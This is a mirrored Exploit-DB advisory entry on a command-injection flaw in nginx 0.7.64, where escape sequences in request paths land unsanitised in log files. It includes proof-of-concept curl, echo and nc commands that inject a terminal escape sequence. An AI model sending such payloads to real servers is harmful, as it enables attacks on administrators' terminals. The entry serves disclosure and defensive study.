exploit-db-mirror/platforms/multiple/remote/33490.txt
Offensive Security 4d0e8ffd90 Updated 05_25_2014
2014-05-25 04:36:27 +00:00

16 lines
555 B
Text
Executable file

source: http://www.securityfocus.com/bid/37711/info
The 'nginx' program is prone to a command-injection vulnerability because it fails to adequately sanitize user-supplied input in log files.
Attackers can exploit this issue to execute arbitrary commands in a terminal.
This issue affects nginx 0.7.64; other versions may also be affected.
The following examples are available:
curl -kis http://www.example.com/%1b%5d%32%3b%6f%77%6e%65%64%07%0a
echo -en "GET /\x1b]2;owned?\x07\x0a\x0d\x0a\x0d" > payload
nc localhost 80 < payload